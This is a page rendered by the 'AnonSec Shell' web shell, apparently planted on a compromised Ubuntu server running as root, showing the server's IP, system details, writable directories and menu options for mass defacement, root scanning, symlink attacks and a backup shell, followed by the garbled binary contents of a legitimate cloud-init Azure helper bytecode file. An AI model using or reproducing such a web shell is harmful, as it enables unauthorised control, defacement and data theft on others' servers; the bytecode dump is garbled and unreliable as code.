AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/azure.cpython-310.pyc
o

x[h���@s�ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m	Z	m
Z
ddlmZmZddl
mZmZmZmZmZddlmZddlmZddlmZmZmZmZmZmZdd	lm Z dd
l!m"Z"e�#e$�Z%dZ&dZ'd
Z(dZ)dZ*e j+dddd�Z,ed�Z-dede-fdede-ffdd�Z.e.dd��Z/e.dd��Z0dd�de1de j2fd d!�Z3d"d#�Z4e.d$d%��Z5ed&d'��Z6e.dd(d)d*�d+e1d,e7d-ee8d.e9d/e9dej:fd0d1��Z;d2e1d3e1d4e1de8fd5d6�Z<Gd7d8�d8�Z=Gd9d:�d:e>�Z?Gd;d<�d<�Z@Gd=d>�d>�ZAGd?d@�d@�ZBGdAdB�dB�ZCe.		dSdCe1dDejDdEeee1dFee1fdGdH��ZEe.dCe1dIdJfdKdL��ZFdMdN�ZGGdOdP�dPe>�ZHGdQdR�dR�ZIdS)T�N)�contextmanager)�datetime�timezone)�sleep�time)�Callable�List�Optional�TypeVar�Union)�ElementTree)�escape)�distros�subp�
temp_utils�
url_helper�util�version)�events)�errorsz
168.63.129.16�boot-telemetryzsystem-info�
diagnostic�
compressedzazure-dsz initialize reporter for azure dsT)�name�description�reporting_enabled�T�func.�returncs�fdd�}|S)NcsFtj�j�jtd���|i|��Wd�S1swYdS)N�rr�parent)r�ReportEventStack�__name__�azure_ds_reporter)�args�kwargs�r��A/usr/lib/python3/dist-packages/cloudinit/sources/helpers/azure.py�impl*s�$�z)azure_ds_telemetry_reporter.<locals>.implr')rr)r'r&r(�azure_ds_telemetry_reporter)sr*cCs�t��std��t�d�z
tt��tt���}Wnt	y+}ztd�|�d}~wwz*t
j
gd�dd�\}}d}|rGd|vrG|�d�d	}|sMtd
��|t|�d}Wn&t
jyj}ztd|�|�d}~wt	y|}ztd
|�|�d}~wwz*t
j
gd�dd�\}}d}|r�d|vr�|�d�d	}|s�td��|t|�d}Wn&t
jy�}ztd|�|�d}~wt	y�}ztd|�|�d}~wwt
�tddt�|tj���t�|tj���t�|tj���ft
j�}t
�|�|S)z[Report timestamps related to kernel initialization and systemd
    activation of cloud-initz1distro not using systemd, skipping boot telemetryzCollecting boot telemetryz*Failed to determine kernel start timestampN)�	systemctl�show�-p�UserspaceTimestampMonotonicT)�capture�=�z8Failed to parse UserspaceTimestampMonotonic from systemdi@Bz-Failed to get UserspaceTimestampMonotonic: %sz<Failed to parse UserspaceTimestampMonotonic from systemd: %s)r+r,zcloud-init-localr-�InactiveExitTimestampMonotonicz;Failed to parse InactiveExitTimestampMonotonic from systemdz0Failed to get InactiveExitTimestampMonotonic: %sz?Failed to parse InactiveExitTimestampMonotonic from systemd: %srz5kernel_start=%s user_start=%s cloudinit_activation=%s)r�uses_systemd�RuntimeError�LOG�debug�floatrr�uptime�
ValueErrorr�split�ProcessExecutionErrorr�ReportingEvent�BOOT_EVENT_TYPEr�
fromtimestampr�utc�	isoformat�DEFAULT_EVENT_ORIGIN�report_event)�kernel_start�e�out�_�tsm�
user_start�cloudinit_activation�evtr'r'r(�get_boot_telemetry5s�

��
���������
�
�������������

rKc
Csbt��}t�tddt��|d|d|dd|dd|dd|d	ftj�}t�|�|S)
z%Collect and report system informationzsystem informationztcloudinit_version=%s, kernel_version=%s, variant=%s, distro_name=%s, distro_version=%s, flavor=%s, python_version=%s�release�variant�distrr1��python)	r�system_inforr<�SYSTEMINFO_EVENT_TYPEr�version_stringrArB)�inforJr'r'r(�get_system_info�s$


���
rU��logger_func�msgcCs6t|�r||�t�td|tj�}tj|dhd�|S)zReport a diagnostic eventzdiagnostic message�log��excluded_handler_types)�callablerr<�DIAGNOSTIC_EVENT_TYPErArB)rXrWrJr'r'r(�report_diagnostic_event�s�r^cCsNt�t�|��}d|�d�d�}t�t|t�	|�tj
�}tj|hd�d�|S)zReport a compressed eventzgz+b64�ascii)�encoding�data>rY�print�webhookrZ)�base64�encodebytes�zlib�compress�decoderr<�COMPRESSED_EVENT_TYPE�json�dumpsrArB)�
event_name�
event_content�compressed_data�
event_datarJr'r'r(�report_compressed_event�s���rpc
Csnt�d�ztjdgddd�\}}td|�WdSty6}ztdt|�tjd�WYd}~dSd}~ww)	zReport dmesg to KVP.zDumping dmesg log to KVP�dmesgFT)rhr/z$Exception when dumping dmesg log: %srVN)r5r6rrp�	Exceptionr^�repr�warning)rErF�exr'r'r(�report_dmesg_to_kvp�s

���rvc	cs@�t��}t�tj�|��zdVWt�|�dSt�|�w�N)�os�getcwd�chdir�path�
expanduser)�newdir�prevdirr'r'r(�cd�s�r��)ra�retry_sleep�timeout_minutes�url�headersrar�r�c	
Cs�|dt�}d}d}|sT|d7}ztj|||dd�}Wn7tjyM}z$td||||j|jftjd�t�||ksBd	t	|�vrC�WYd}~nd}~wwt
|�|r
td
||ftjd�|S)z�Readurl wrapper for querying wireserver.

    :param retry_sleep: Time to sleep before retrying.
    :param timeout_minutes: Retry up to specified number of minutes.
    :raises UrlError: on error fetching data.
    �<rNr1)r�r�)r�ra�timeoutzdFailed HTTP request with Azure endpoint %s during attempt %d with exception: %s (code=%r headers=%r)rVzNetwork is unreachablez@Successful HTTP request with Azure endpoint %s after %d attempts)rr�readurl�UrlErrorr^�coder�r5r6�strr)	r�r�rar�r�r��attempt�responserDr'r'r(�http_with_retries�s@���
������r��username�hostname�
disableSshPwdcCs$t�d�}|j|||d�}|�d�S)Na.        <ns0:Environment xmlns:ns0="http://schemas.dmtf.org/ovf/environment/1"
         xmlns:ns1="http://schemas.microsoft.com/windowsazure"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <ns1:ProvisioningSection>
            <ns1:Version>1.0</ns1:Version>
            <ns1:LinuxProvisioningConfigurationSet>
              <ns1:ConfigurationSetType>LinuxProvisioningConfiguration
              </ns1:ConfigurationSetType>
              <ns1:UserName>{username}</ns1:UserName>
              <ns1:DisableSshPasswordAuthentication>{disableSshPwd}
              </ns1:DisableSshPasswordAuthentication>
              <ns1:HostName>{hostname}</ns1:HostName>
            </ns1:LinuxProvisioningConfigurationSet>
          </ns1:ProvisioningSection>
          <ns1:PlatformSettingsSection>
            <ns1:Version>1.0</ns1:Version>
            <ns1:PlatformSettings>
              <ns1:ProvisionGuestAgent>true</ns1:ProvisionGuestAgent>
            </ns1:PlatformSettings>
          </ns1:PlatformSettingsSection>
        </ns0:Environment>
        )r�r�r��utf-8)�textwrap�dedent�format�encode)r�r�r��OVF_ENV_TEMPLATE�retr'r'r(�build_minimal_ovfs��
r�c@sLeZdZddd�Zdd�Zddejfdd	�Z	
ddee	dejfdd
�Z
d
S)�AzureEndpointHttpClient�WALinuxAgentz
2012-11-30)zx-ms-agent-namezx-ms-versioncCsd|d�|_dS)N�DES_EDE3_CBC)zx-ms-cipher-namez!x-ms-guest-agent-public-x509-cert)�extra_secure_headers)�self�certificater'r'r(�__init__Ds�z AzureEndpointHttpClient.__init__FrcCs,|j}|r|j��}|�|j�t||d�S)N)r�)r��copy�updater�r�)r�r��securer�r'r'r(�getJs

zAzureEndpointHttpClient.getNracCs0|j}|dur|j��}|�|�t|||d�S)N)rar�)r�r�r�r�)r�r�ra�
extra_headersr�r'r'r(�postQs


zAzureEndpointHttpClient.post)F�NN)r"�
__module__�__qualname__r�r�r�UrlResponser�r	�bytesr�r'r'r'r(r�>s����r�c@seZdZdZdS)�InvalidGoalStateXMLExceptionz9Raised when GoalState XML is invalid or has missing data.N)r"r�r��__doc__r'r'r'r(r�[sr�c	@s:eZdZ	ddeeefdededdfdd�Zd	d
�Z	dS)�	GoalStateT�unparsed_xml�azure_endpoint_client�need_certificaterNc
Cs ||_zt�|�|_Wntjy"}z
td|tjd��d}~ww|�d�|_	|�d�|_
|�d�|_dD]}t||�durOd|}t|tjd�t
|��q7d|_|�d	�}|dur�|r�tjd
dtd��|jj|d
d�j|_|jdurzt
d��Wd�dS1s�wYdSdSdS)ahParses a GoalState XML string and returns a GoalState object.

        @param unparsed_xml: string representing a GoalState XML.
        @param azure_endpoint_client: instance of AzureEndpointHttpClient.
        @param need_certificate: switch to know if certificates is needed.
        @return: GoalState object representing the GoalState XML string.
        z!Failed to parse GoalState XML: %srVNz./Container/ContainerIdz4./Container/RoleInstanceList/RoleInstance/InstanceIdz
./Incarnation)�container_id�instance_id�incarnationzMissing %s in GoalState XMLzD./Container/RoleInstanceList/RoleInstance/Configuration/Certificateszget-certificates-xmlzget certificates xmlrT)r�z/Azure endpoint returned empty certificates xml.)r��ET�
fromstring�root�
ParseErrorr^r5rt�_text_from_xpathr�r�r��getattrr��certificates_xmlrr!r#r��contents)r�r�r�r�rD�attrrXr�r'r'r(r�`sX
���������
��"��zGoalState.__init__cCs|j�|�}|dur
|jSdSrw)r��find�text)r��xpath�elementr'r'r(r��szGoalState._text_from_xpath)T)
r"r�r�rr�r�r��boolr�r�r'r'r'r(r�_s�
���
�7r�c@s�eZdZddd�Zdd�Zdd�Zedd	��Zejd
d	��Ze	dd��Z
ee	d
d���Ze	dd��Z
e	dd��Ze	dd��Ze	dd��ZdS)�OpenSSLManagerzTransportPrivate.pemzTransportCert.pem)�private_keyr�cCst��|_d|_|��dSrw)r�mkdtemp�tmpdir�_certificate�generate_certificate�r�r'r'r(r��s
zOpenSSLManager.__init__cCst�|j�dSrw)r�del_dirr�r�r'r'r(�clean_up�szOpenSSLManager.clean_upcCs|jSrw�r�r�r'r'r(r��szOpenSSLManager.certificatecCs
||_dSrwr�)r��valuer'r'r(r��s
cCs�t�d�|jdurt�d�dSt|j��=t�ddddddd	d
ddd
|jdd|jdg�d}t�|jd��	�D]}d|vrH||�
�7}q<||_Wd�n1sVwYt�d�dS)Nz7Generating certificate for communication with fabric...zCertificate already generated.�openssl�reqz-x509z-nodesz-subjz/CN=LinuxTransportz-days�32768z-newkeyzrsa:3072z-keyoutr�z-outr���CERTIFICATEzNew certificate generated.)r5r6r�rr�r�certificate_namesr�load_text_file�
splitlines�rstrip)r�r��liner'r'r(r��sD


������z#OpenSSLManager.generate_certificatecCs"ddd|g}tj||d�\}}|S)Nr��x509z-noout�ra)r)�action�cert�cmd�resultrFr'r'r(�_run_x509_action�szOpenSSLManager._run_x509_actioncCs*|�d|�}gd�}tj||d�\}}|S)Nz-pubkey)z
ssh-keygenz-iz-m�PKCS8z-fz
/dev/stdinr�)r�r)r�r��pub_key�
keygen_cmd�ssh_keyrFr'r'r(�_get_ssh_key_from_cert�sz%OpenSSLManager._get_ssh_key_from_certcCs6|�d|�}|�d�}||dd��d�}d�|�S)aopenssl x509 formats fingerprints as so:
        'SHA1 Fingerprint=07:3E:19:D1:4D:1C:79:92:24:C6:A0:FD:8D:DA:\
        B6:A8:BF:27:D4:73\n'

        Azure control plane passes that fingerprint as so:
        '073E19D14D1C799224C6A0FD8DDAB6A8BF27D473'
        z-fingerprintr0r1����:r�)r�r�r:�join)r�r��raw_fp�eq�octetsr'r'r(�_get_fingerprint_from_cert�s	

z)OpenSSLManager._get_fingerprint_from_certcCs�t�|��d�}|j}ddddd|�d�g}t|j��tjdjd
i|j	��d	d
�
|�d�\}}Wd�|S1s;wY|S)z�Decrypt the certificates XML document using the our private key;
        return the list of certs and private keys contained in the doc.
        z.//DatasMIME-Version: 1.0s<Content-Disposition: attachment; filename="Certificates.p7m"s?Content-Type: application/x-pkcs7-mime; name="Certificates.p7m"s!Content-Transfer-Encoding: base64�r�zuopenssl cms -decrypt -in /dev/stdin -inkey {private_key} -recip {certificate} | openssl pkcs12 -nodes -password pass:T�
)�shellraNr')r�r�r�r�r�rr�rr�r�r�)r�r��tag�certificates_content�linesrErFr'r'r(�_decrypt_certs_from_xml�s.����
��z&OpenSSLManager._decrypt_certs_from_xmlc	Csv|�|�}g}i}|��D]+}|�|�t�d|�rg}q
t�d|�r8d�|�}|�|�}|�|�}|||<g}q
|S)z�Given the Certificates XML document, return a dictionary of
        fingerprints and associated SSH keys derived from the certs.z[-]+END .*?KEY[-]+$z[-]+END .*?CERTIFICATE[-]+$�
)r�r��append�re�matchr�r�r�)	r�r�rE�current�keysr�r�r��fingerprintr'r'r(�parse_certificatess




�z!OpenSSLManager.parse_certificatesN)r"r�r�r�r�r��propertyr��setterr*r��staticmethodr�r�r�r�r�r'r'r'r(r��s.�


!


r�c@s�eZdZe�d�Ze�d�ZdZdZdZ	dZ
deded	e
d
dfdd
�Zeddd��Zede
d
dfdd��Z		dde
de
de
de
d
ef
dd�Zeded
dfdd��ZdS)�GoalStateHealthReportera�        <?xml version="1.0" encoding="utf-8"?>
        <Health xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:xsd="http://www.w3.org/2001/XMLSchema">
          <GoalStateIncarnation>{incarnation}</GoalStateIncarnation>
          <Container>
            <ContainerId>{container_id}</ContainerId>
            <RoleInstanceList>
              <Role>
                <InstanceId>{instance_id}</InstanceId>
                <Health>
                  <State>{health_status}</State>
                  {health_detail_subsection}
                </Health>
              </Role>
            </RoleInstanceList>
          </Container>
        </Health>
        z�        <Details>
          <SubStatus>{health_substatus}</SubStatus>
          <Description>{health_description}</Description>
        </Details>
        �Ready�NotReady�ProvisioningFailedi�
goal_stater��endpointrNcCs||_||_||_dS)a?Creates instance that will report provisioning status to an endpoint

        @param goal_state: An instance of class GoalState that contains
            goal state info such as incarnation, container id, and instance id.
            These 3 values are needed when reporting the provisioning status
            to Azure
        @param azure_endpoint_client: Instance of class AzureEndpointHttpClient
        @param endpoint: Endpoint (string) where the provisioning status report
            will be sent to
        @return: Instance of class GoalStateHealthReporter
        N)�_goal_state�_azure_endpoint_client�	_endpoint)r�rr�rr'r'r(r�Fs
z GoalStateHealthReporter.__init__c
Csv|j|jj|jj|jj|jd�}t�d�z|j|d�Wnt	y3}z
t
d|tjd��d}~wwt�d�dS)N)r�r�r��statusz Reporting ready to Azure fabric.��documentz#exception while reporting ready: %srVzReported ready to Azure fabric.)
�build_reportrr�r�r��PROVISIONING_SUCCESS_STATUSr5r6�_post_health_reportrrr^�errorrT)r�rrDr'r'r(�send_ready_signal[s$�
���z)GoalStateHealthReporter.send_ready_signalrc
Csv|j|jj|jj|jj|j|j|d�}z|j|d�Wnty3}zd|}t	|t
jd��d}~wwt
�d�dS)N)r�r�r�r�	substatusrrz%exception while reporting failure: %srVz!Reported failure to Azure fabric.)
r	rr�r�r��PROVISIONING_NOT_READY_STATUS�PROVISIONING_FAILURE_SUBSTATUSrrrr^r5rrt)r�rrrDrXr'r'r(�send_failure_signalos"���z+GoalStateHealthReporter.send_failure_signalr�r�r�rc	Csbd}|dur|jjt|�t|d|j��d�}|jjtt|��t|�t|�t|�|d�}|�d�S)Nr�)�health_substatus�health_description)r�r�r��
health_status�health_detail_subsectionr�)�%HEALTH_DETAIL_SUBSECTION_XML_TEMPLATEr�r
�"HEALTH_REPORT_DESCRIPTION_TRIM_LEN�HEALTH_REPORT_XML_TEMPLATEr�r�)	r�r�r�r�rrr�
health_detail�
health_reportr'r'r(r	�s 	��
�
z$GoalStateHealthReporter.build_reportrcCsBtd�t�d�d�|j�}|jj||ddid�t�d�dS)Nrz&Sending health report to Azure fabric.zhttp://{}/machine?comp=healthzContent-Typeztext/xml; charset=utf-8)rar�z/Successfully sent health report to Azure fabric)rr5r6r�rrr�)r�rr�r'r'r(r�s
�z+GoalStateHealthReporter._post_health_report)rNr�)r"r�r�r�r�rrr
rrrr�r�r�r�r*r
rr�r	rr'r'r'r(r� sN��	���
������
�r�c@s�eZdZdefdd�Zdd�Zedejddfd	d
��Z	e	ddejde
eefdd��Zed
eddfdd��Z
ededefdd��Zedefdd��Zedeeefdedefdd��Zedededefdd��Zedededefdd��ZdS) �WALinuxAgentShimrcCs||_d|_d|_dSrw)r�openssl_managerr�)r�rr'r'r(r��s
zWALinuxAgentShim.__init__cCs|jdur|j��dSdSrw)rr�r�r'r'r(r��s
�zWALinuxAgentShim.clean_up�distrorNc
CsTt�d�z|�|�WdSty)}ztd|tjd�WYd}~dSd}~ww)NzEjecting the provisioning isoz(Failed ejecting the provisioning iso: %srV)r5r6�eject_mediarrr^r)r��iso_devrrDr'r'r(�	eject_iso�s
���zWALinuxAgentShim.eject_isocCs�d}|jdur|durt�|_|jj}|jdurt|�|_|j|dud�}d}|dur1|�||�}t||j|j�}|durD|j	||d�|�
�|S)a�Gets the VM's GoalState from Azure, uses the GoalState information
        to report ready/send the ready signal/provisioning complete signal to
        Azure, and then uses pubkey_info to filter and obtain the user's
        pubkeys from the GoalState.

        @param pubkey_info: List of pubkey values and fingerprints which are
            used to filter and obtain the user's pubkey values from the
            GoalState.
        @return: The list of user's authorized pubkey values.
        N�r�)r)rr�r�r�r��_fetch_goal_state_from_azure�_get_user_pubkeysr�rr r
)r�r�pubkey_infor�http_client_certificater�ssh_keys�health_reporterr'r'r(�"register_with_azure_and_fetch_data�s*
��
�z3WALinuxAgentShim.register_with_azure_and_fetch_datarcCs@|jdur
td�|_|jdd�}t||j|j�}|j|d�dS)z�Gets the VM's GoalState from Azure, uses the GoalState information
        to report failure/send provisioning failure signal to Azure.

        @param: user visible error description of provisioning failure.
        NFr!�r)r�r�r"r�rr)r�rrr'r'r'r(�&register_with_azure_and_report_failure�s


�z7WALinuxAgentShim.register_with_azure_and_report_failurer�cCs|��}|�||�S)aFetches the GoalState XML from the Azure endpoint, parses the XML,
        and returns a GoalState object.

        @param need_certificate: switch to know if certificates is needed.
        @return: GoalState object representing the GoalState XML
        )�"_get_raw_goal_state_xml_from_azure�_parse_raw_goal_state_xml)r�r��unparsed_goal_state_xmlr'r'r(r"s
�z-WALinuxAgentShim._fetch_goal_state_from_azurec
Cs�t�d�d�|j�}z tjddtd��|j�|�}Wd�n1s%wYWnt	yA}z
t
d|tjd��d}~wwt�d	�|j
S)
z�Fetches the GoalState XML from the Azure endpoint and returns
        the XML as a string.

        @return: GoalState XML string
        zRegistering with Azure...z!http://{}/machine/?comp=goalstatezgoalstate-retrievalzretrieve goalstaterNz9failed to register with Azure and fetch GoalState XML: %srVz#Successfully fetched GoalState XML.)r5rTr�rrr!r#r�r�rrr^rtr6r�)r�r�r�rDr'r'r(r+s.
�������
z3WALinuxAgentShim._get_raw_goal_state_xml_from_azurer-c
Cstz	t||j|�}Wnty}z
td|tjd��d}~wwd�d|jd|jd|j	g�}t|tj
d�|S)aParses a GoalState XML string and returns a GoalState object.

        @param unparsed_goal_state_xml: GoalState XML string
        @param need_certificate: switch to know if certificates is needed.
        @return: GoalState object representing the GoalState XML
        z"Error processing GoalState XML: %srVNz, zGoalState XML container id: %szGoalState XML instance id: %szGoalState XML incarnation: %s)r�r�rrr^r5rtr�r�r�r�r6)r�r-r�rrDrXr'r'r(r,2s,������z*WALinuxAgentShim._parse_raw_goal_state_xmlrr$cCsHg}|jdur"|dur"|jdur"t�d�|j�|j�}|�||�}|S)a�Gets and filters the VM admin user's authorized pubkeys.

        The admin user in this case is the username specified as "admin"
        when deploying VMs on Azure.
        See https://docs.microsoft.com/en-us/cli/azure/vm#az-vm-create.
        cloud-init expects a straightforward array of keys to be dropped
        into the admin user's authorized_keys file. Azure control plane exposes
        multiple public keys to the VM via wireserver. Select just the
        admin user's key(s) and return them, ignoring any other certs.

        @param goal_state: GoalState object. The GoalState object contains
            a certificate XML, which contains both the VM user's authorized
            pubkeys and other non-user pubkeys, which are used for
            MSI and protected extension handling.
        @param pubkey_info: List of VM user pubkey dicts that were previously
            obtained from provisioning data.
            Each pubkey dict in this list can either have the format
            pubkey['value'] or pubkey['fingerprint'].
            Each pubkey['fingerprint'] in the list is used to filter
            and obtain the actual pubkey value from the GoalState
            certificates XML.
            Each pubkey['value'] requires no further processing and is
            immediately added to the return list.
        @return: A list of the VM user's authorized pubkey values.
        Nz/Certificate XML found; parsing out public keys.)r�rr5r6r��_filter_pubkeys)r�rr$r&�keys_by_fingerprintr'r'r(r#Ts


�z"WALinuxAgentShim._get_user_pubkeysr/cCs|g}|D]7}d|vr|dr|�|d�qd|vr5|dr5|d}||vr.|�||�qt�d|�qt�d|�q|S)a8Filter and return only the user's actual pubkeys.

        @param keys_by_fingerprint: pubkey fingerprint -> pubkey value dict
            that was obtained from GoalState Certificates XML. May contain
            non-user pubkeys.
        @param pubkey_info: List of VM user pubkeys. Pubkey values are added
            to the return list without further processing. Pubkey fingerprints
            are used to filter and obtain the actual pubkey values from
            keys_by_fingerprint.
        @return: A list of the VM user's authorized pubkey values.
        r�r�zIovf-env.xml specified PublicKey fingerprint %s not found in goalstate XMLzFovf-env.xml specified PublicKey with neither value nor fingerprint: %s)r�r5rt)r/r$r��pubkeyr�r'r'r(r.~s"
��z WALinuxAgentShim._filter_pubkeysr�)r"r�r�r�r�r�r*r�Distror r	rr(r*r�r�r"r�r+rr,�listr#r��dictr.r'r'r'r(r�sP
��
�%��
���!���)rrrr$rcCs0t|d�}z
|j|||d�W|��S|��w)N�r)rr$r)rr(r�)rrr$r�shimr'r'r(�get_metadata_from_fabric�s
�r6rzerrors.ReportableErrorcCs8t|d�}|��}z
|j|d�W|��dS|��w)Nr4r))r�as_encoded_reportr*r�)rrr5rr'r'r(�report_failure_to_fabric�s

r8cCs(td|tjd�td|tjd�dS)Nzdhclient output stream: %srVzdhclient error stream: %s)r^r5r6)rE�errr'r'r(�dhcp_log_cb�s
�

�r:c@seZdZdS)�NonAzureDataSourceN)r"r�r�r'r'r'r(r;�sr;c@s�eZdZddd�Zdddddddddd�	deedeed	eed
eedeedeee	d
edeededdfdd�Z
defdd�Zededdfdd��Z
	d(dededefdd�Z			d)dedededefd d!�Zd"d#�Zd$d%�Zd&d'�ZdS)*�	OvfEnvXmlz)http://schemas.dmtf.org/ovf/environment/1z)http://schemas.microsoft.com/windowsazure)�ovf�waNF�	r��passwordr��custom_data�disable_ssh_password_auth�public_keys�preprovisioned_vm�preprovisioned_vm_type�provision_guest_proxy_agentr�r@r�rArBrCrDrErFrc	
Cs>||_||_||_||_||_|pg|_||_||_|	|_dSrwr?)
r�r�r@r�rArBrCrDrErFr'r'r(r��s


zOvfEnvXml.__init__cCs|j|jkSrw)�__dict__)r��otherr'r'r(�__eq__�szOvfEnvXml.__eq__�ovf_env_xmlc
Cspzt�|�}Wntjy}ztj|d�|�d}~ww|�d|j�dur)td��t�}|�	|�|�
|�|S)z�Parser for ovf-env.xml data.

        :raises NonAzureDataSource: if XML is not in Azure's format.
        :raises errors.ReportableErrorOvfParsingException: if XML is
                unparsable or invalid.
        )�	exceptionNz./wa:ProvisioningSectionz=Ignoring non-Azure ovf-env.xml: ProvisioningSection not found)r�r�r�r�"ReportableErrorOvfParsingExceptionr��
NAMESPACESr;r<�&_parse_linux_configuration_set_section� _parse_platform_settings_section)�clsrJr�rD�instancer'r'r(�
parse_text�s���

zOvfEnvXml.parse_textr>r�required�	namespacecCsh|�d||ftj�}|sd|}t�|�|rt�|��dSt|�dkr0t�d|t|�f��|dS)Nz./%s:%s�missing configuration for %rr1�*multiple configuration matches for %r (%d)r)�findallr<rMr5r6r�!ReportableErrorOvfInvalidMetadata�len)r��noderrSrT�matchesrXr'r'r(�_finds �


��zOvfEnvXml._find�
decode_base64�
parse_boolc
Cs�|�d|tj�}|sd|}t�|�|rt�|��|St|�dkr.t�d|t|�f��|dj}	|	dur9|}	|rI|	durIt	�
d�|	����}	|rPt
�|	�}	|	S)Nz./wa:rUr1rVrr�)rWr<rMr5r6rrXrYr�rd�	b64decoder�r:r�translate_bool)
r�rZrrSr]r^�defaultr[rXr�r'r'r(�_parse_propertys*	


��

zOvfEnvXml._parse_propertycCs�|j|ddd�}|j|ddd�}|j|dddd�|_|j|ddd�|_|j|d	dd�|_|j|d
dd�|_|j|dddd�|_|�|�dS)
N�ProvisioningSectionT�rS�!LinuxProvisioningConfigurationSet�
CustomDataF)r]rS�UserName�UserPassword�HostName� DisableSshPasswordAuthentication)r^rS)r\rbrAr�r@r�rB�_parse_ssh_section)r�r��provisioning_section�
config_setr'r'r(rN@s<�������z0OvfEnvXml._parse_linux_configuration_set_sectioncCsb|j|ddd�}|j|ddd�}|j|ddddd�|_|j|ddd�|_|j|d	dddd�|_dS)
N�PlatformSettingsSectionTrd�PlatformSettings�PreprovisionedVmF)r^rarS�PreprovisionedVMType�ProvisionGuestProxyAgent)r\rbrDrErF)r�r��platform_settings_section�platform_settingsr'r'r(rObs2�����z*OvfEnvXml._parse_platform_settings_sectionc	Cs�g|_|j|ddd�}|durdS|j|ddd�}|durdS|�dtj�D]'}|j|ddd�}|j|ddd�}|j|dd	dd
�}|||d�}|j�|�q&dS)N�SSHFrd�
PublicKeysz./wa:PublicKey�Fingerprint�Path�Valuer�)rarS)r�r{r�)rCr\rWr<rMrbr�)	r�rm�ssh_section�public_keys_section�
public_keyr�r{r�r�r'r'r(rk~s2������zOvfEnvXml._parse_ssh_section)r>)FFN)r"r�r�rMr	r�r�r�rr3r�rI�classmethodrRr\rbrNrOrkr'r'r'r(r<�sx�������
�	�
��
����
�����
�%"r<r�)Jrdrj�loggingrxr�r�rf�
contextlibrrrrr�typingrrr	r
r�	xml.etreerr��xml.sax.saxutilsr
�	cloudinitrrrrrr�cloudinit.reportingr�cloudinit.sources.azurer�	getLoggerr"r5�DEFAULT_WIRESERVER_ENDPOINTr=rRr]rir!r#rr*rKrUr�r<r^rprvrr3r��intr�r�r�r�rrr�r�r�r�rr1r6r8r:r;r<r'r'r'r(�<module>s� 
�"
U
��
�

	�������6���
�"?f���
��		

Anon7 - 2022
AnonSec Team